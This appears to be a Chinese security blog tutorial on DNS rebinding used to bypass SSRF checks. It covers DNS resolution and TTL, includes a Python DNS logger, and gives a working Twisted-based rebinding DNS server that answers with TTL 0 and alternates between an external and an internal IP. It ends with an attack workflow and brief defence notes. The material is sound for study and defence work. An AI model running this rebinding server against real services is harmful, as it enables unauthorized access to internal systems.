从0到1认识DNS重绑定攻击
从0到1认识DNS重绑定攻击
0x0 前言
很早之前,就对此做过一番琐碎的学习,但是最近在应用的时候,发现自己并不是很熟练,对漏洞的检测思路及其攻击思路没有一套系统的模型,故对此进行系统的总结,让更多人认识这种差异性同步攻击。
0x1 DNS绑定机制
了解DNS重绑定机制之前,我们先认识下DNS、DNS记录类型、DNS绑定技术。
DNS
DNS(Domain Name Service)、计算机域名服务器是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53[1]。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。开始时,域名的字符仅限于ASCII字符的一个子集。2008年,ICANN通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于Punycode码的IDNA系统,可以将Unicode字符串映射为有效的DNS字符集。因此,诸如“XXX.中国”、“XXX.美国”的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。
小概念简单地说DNS的存在就是为了域名解析,DNS绑定的效果就是在DNS中将域名请求解析为相应的服务器IP地址请求好处就是人们访问服务器的时候,不需要背枯燥的32位IPv4的地址,而是可以大众化的单词,相当有含义和方便。
那么域名解析是什么呢?
举一个例子,zh.wikipedia.org 作为一个域名就和IP地址198.35.26.96 相对应。DNS就像是一个自动的电话号码簿,我们可以直接拨打198.35.26.96 的名字zh.wikipedia.org 来代替电话号码(IP地址)。DNS在我们直接调用网站的名字以后就会将像zh.wikipedia.org 一样便于人类使用的名字转化成像198.35.26.96 一样便于机器识别的IP地址
DNS的记录类型
- 主机记录(A记录):A记录是用于名称解析的重要记录,它将特定的主机名映射到对应的主机IP上
- 别名记录(CNAME记录):CNAME记录用于将某个别名指向到某个A记录上这就就不需要再为某个新名字创建一条新纪录。
- 名称服务器记录(NS):委托DNS区域使用已提供的权威域名服务器用来指定该域名由那个DNS服务器来解析后面谈一下DNSLog的开发思路会涉及这个。
...更多参考:DNS记录类型列表)
DNS绑定技术
域名系统技术实现)
这里我可以简单叙述上关键的点。
(1)DNS区域是一个层次结构的空间 根域名服务器->子域名服务器->二代子域名服务器
(2)DNS查询方式: 递归和迭代
递归一般指的是查
以查询 zh.wikipedia.org 为例:
- 客户端发送查询报文"query zh.wikipedia.org"至DNS服务器,DNS服务器首先检查自身缓存,如果存在记录则直接返回结果。
- 如果记录老化或不存在,则:
- DNS服务器向根域名服务器发送查询报文"query zh.wikipedia.org",根域名服务器返回顶级域 .org 的权威域名服务器地址。
- DNS服务器向 .org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到二级域 .wikipedia.org 的权威域名服务器地址。
- DNS服务器向 .wikipedia.org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到主机 zh 的A记录,存入自身缓存并返回给客户端。
这里我们需要注意的是DNS的返回结果是可以由DNS服务器自己来决定的,
所以说我可以可以编写一个DNS服务器来控制指定域名的解析IP而且还可以控制TTL值。
0x2 域名解析过程
1. 认识DNS TTL
TTL(Time To Live)、生存时间它表示DNS记录在DNS服务器上缓冲的时间数值越小修改记录各地生效的时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
这个值对于重绑定攻击来说是相当重要的至于为什么重要,我们需要先了解下域名解析的流程。
0x2.1 请求域名解析
这里简单介绍第一种路径:
(1) 浏览器发起的请求
1.浏览器搜索自身的DNS缓存命中则解析,否则继续下一步
查看google浏览器的缓存记录
[chrome://net-internals/#dns](chrome://net-internals/#dns)
2.浏览器搜索操作系统自身的DNS缓存如果找到且没有过期(TTL值)则解析结束否则下一步。(这一步很重要TTL值在这里起决定是否下一步)
3.尝试读取hosts文件(跟本文不重要忽略)假设没找到,继续下一步
4.浏览器发起NDS系统调用迭代过程如下
运营商dns
-->
根域名服务器-->
顶级域名服务器-->
我们设置NS域名服务器。(这一步很重要我们可以递归向下设置TTL的值)5.找到IP地址后建立对应的TCP链接开始通信。
其实域名解析过程实际很复杂,不同的服务架构会自动缓存结果并且有默认的TTL值这个会影响DNS重绑定攻击的结果。
(2)SSRF发起的请求
直接由对应的服务curl
等程序跨过浏览器直接发起的请求跟上面相比,就是少了第一步浏览器缓存的查询过程。
0x3 DNS重绑定(DNS Rebinding)
首先了解下概念
当我们发起域名解析请求的时候第一次访问会返回一个ip地址A但是当我们发起第二次域名解析请求的时候却会返回一个不同于A的ip地址B。
比如我们直接
curl www.ak.com 然后获得解析的ip为 111.230.x.x将其认定为外网ip给予同行,但是程序为了考虑一些cdn的因素,第二次请求判断的时候不会取第一个解析结果的ip,
那么第二次照样是 curl www.ak.com这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1从而实现访问内网的应用,实现重绑定攻击。
如何控制域名解析到不同的IP的实现思路,就是编写自己可控的DNS服务器,并将其TTL设置为0或者极小值,动态控制域名解析的IP地址。
这种攻击思路是基于:
这种SSRF防御思路的基础上的检查逻辑是第一次DNS查询请求确定host是不是内网IP第二次请求的时候存在一个小间隔导致了解析的差异性。
0x4 Python构建DNSLogger
首先我们需要拥有一个域名:
这样我们访问*.log.lovectfer.top
的域名时候就会去到ns1然后对我们的服务器发起DNS Query查询请求53端口UDP协议的请求所以阿里云的还需要进行配置下放行该DNS查询使用的53端口。
接着我们可以来编写一个DNS服务器了最好跟着笔者一起动手来写写,深入理解下这个DNS解析过程顺便掌握一些Python网络编程的库用法,提高自己后期的开发能力.
Python 模块化开发思路
pip3 install dnspython3
pip3 install dnslib
采用dnsPython3 、dnslib的库
# /usr/bin/python3 # -*- coding:utf-8 -*- # 功能: # 1.记录发往当前服务器的DNS请求 from dns.resolver import Resolver from dnslib import DNSRecord QTYPE RD SOA DNSHeader RR A import time import logging import socket # 设置日志配置 logging.basicConfig(filename='dnslogger.log'level=logging.DEBUG format='%(asctime)s %(message)s' datefmt='%m/%d/%Y %I:%M:%S %p') # 设置转发公共DNS dns_resolver = Resolver() dns_resolver.nameservers = ["8.8.8.8" "114.114.114.114"] # 转发域名解析请求 def reply_normal(sck record address): header = DNSHeader(id=record.header.id bitmap=record.header.bitmap qr=1) header.set_rcode(0) # 3 DNS_R_NXDOMAIN 2 DNS_R_SERVFAIL 0 DNS_R_NOERROR response = DNSRecord(header q=record.q) logging.info("Forwarding request to public dns") sck.sendto(response.pack() address) logging.info("okForwarded request to public dns") def dns_handler(request address count): try: record = DNSRecord.parse(request) except: logging.error('from %s parse error' % address) return try: reqType = QTYPE.get(record.q.qtype) except: reqType = 'unknow' domain = str(record.q.qname).strip('.') # 转发DNS查询请求 if count%3 == 0: reply_normal(sck record address) count += 1 return domain reqType if __name__ == '__main__': # 建立socket对象 sck = socket.socket(socket.AF_INET socket.SOCK_DGRAM) # 及时释放端口 sck.setsockopt(socket.SOL_SOCKET socket.SO_REUSEADDR True) # 绑定53端口 sck.bind(('0.0.0.0' 53)) # 设置请求次数超过3次就进行转发方便查看 count = 0 logging.info("NowDnsLogger working...") print("NowDnsLogger working...") while True: # 发送方的数据发送方的IP request address = sck.recvfrom(1024) try: count += 1 # 解析DNS请求 domain reqType = dns_handler(request address count) print(f"[{time.asctime()[11:19]}] [{domain}] from [{address[0]}] with type [{reqType}]") logging.info(f"[[{domain}] from [{address[0]}] with type [{reqType}]") except KeyboardInterrupt: logging.error("KeyBoardInterrupt triggeredstopping") sck.close() break except Exception as e: logging.error(e) print(e)
代码非常精简能够实现拦截DNS解析的记录并且进行记录到dnslogger.log
文件并且在拦截3次请求的时候进行转发到公共域名执行正常的解析。
PS.小提示
本地测试脚本的时候我们可以采用
dig lovectfer.top @127.0.01 -p 55
通过调用本地的DNS服务器来解析非标准端口
kill -9 $(lsof -i:55 -t)
这条命令方便我们快速杀死相关进程。
0x5 Python实现DNS重绑定攻击
上面那个脚本我只是转发了请求并没有控制返回包的内容而我们如果要实现DNS重绑定攻击的话我们必须用脚本来控制TTL的值为0才能实现这个攻击这个对程序的速度有一定要求这里我就以一些经典的脚本来分析下。
看了下别人的发现代码emm比我精简的很多还能学习下twisted
库的用法,何乐而不为呢。
#/usr/bin/python2 # -*- coding:utf-8 -*- from twisted.internet import reactor defer from twisted.names import client dns error server record={} class DynamicResolver(): def _doDynamicResponse(self query): name = query.name.name if name not in record or record[name]<1: ip="104.160.43.154" else: ip="171.18.0.2" if name not in record: record[name]=0 record[name]+=1 print name+" ===> "+ip answer = dns.RRHeader( name=name type=dns.A cls=dns.IN ttl=0 # 这里设置DNS TTL为 0 payload=dns.Record_A(address=b'%s'%ipttl=0) ) answers = [answer] authority = [] additional = [] return answers authority additional def query(self query timeout=None): return defer.succeed(self._doDynamicResponse(query)) def main(): factory = server.DNSServerFactory( clients=[DynamicResolver() client.Resolver(resolv='/etc/resolv.conf')] ) protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53 protocol) reactor.run() if __name__ == '__main__': raise SystemExit(main())
这里通过RECORD字典来判断,脚本监听开始第一次请求该DNS服务器,则解析到内网IP,之后第二次、第三次等请求解析到外网IP实现绕过。
别人的域名解析配置是:
记录类型 | 主机记录 | 解析线路 | 记录值 | MAX优先值 | TTL |
---|---|---|---|---|---|
NS | test | 默认 | ns.test.site | - | 10分钟 |
A | NS | 默认 | 104.160.43.154 | - | 10分钟 |
我的话是采用cloudflare
的DNS解析服务
问题不大跑起来看下效果怎么样。
在服务器运行前先安装好Python的库依赖
pip install twisted
1.MAC下测试 for ((i=1;i<=10;i++)) dig @8.8.8.8 log.lovectfer.top; 2.Ubuntu下测试 for((i=1;i<=10;i++)) do dig @8.8.8.8 log.lovectfer.top; done
MAC是失败的
Linux 系统是可以的。
0x6 简单介绍攻击思路
其实和常规SSRF没啥区别这只是绕过SSRF一个黑名单检测的思路该怎么利用就怎么利用。
那么绕过的攻击过程可以介绍我的一点小技巧。
1.首先是看服务器是否能发起DNS请求用我第四节的脚本进行探测
2.如果确定可以发起请求那么再用第五节的脚本进行绕过即可可以尝试几次设置绕过的外网IP是HTTP Logger之类的可以帮助我们查看是否成功了
0x7 浅析下防御思路
当时群里有人在询问DNS重绑定攻击的防御思路,这里我就抛出一些自己浅显的看法,欢迎师傅们提出更多的见解。
局限性:
时间窗口问题
DNS 缓存的问题。即使我们在前面实现的时候设置了TTL为0,但是有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。
DNS缓存机制
Linux dns默认不缓存windows and mac为了加快http访问速度系统会进行DNS缓存
应用环境问题
(1) java默认失败
Java 应用的默认 TTL 为10s,这个默认配置会导致 DNS Rebinding 绕过失败
测试的时候可以修改配置:
java.security.Security.setProperty("networkaddress.cache.negative.ttl" "0");
(2)PHP 默认TTL为0可以攻击
其实这个漏洞局限性还是很大的但是如果能确认发起DNS请求针对性大量请求还是能提高命中的概率。
那么这种攻击有什么办法解决呢?
小弟就来丢一个完美的解决的方案?
原理:
通过控制2次的DNS查询请求的间隔低于TTL值确保两次查询的结果一致。
技术实现:
所以代码写一个请求判断Linux系统修改默认的TTL值为10即可很轻松解决这个问题。
0x8 参考链接
浅谈DNS重绑定漏洞
写一个 DNS 服务器
DNS Rebinding 攻击绕过 ssrf 限制
Use DNS Rebinding to Bypass SSRF in Java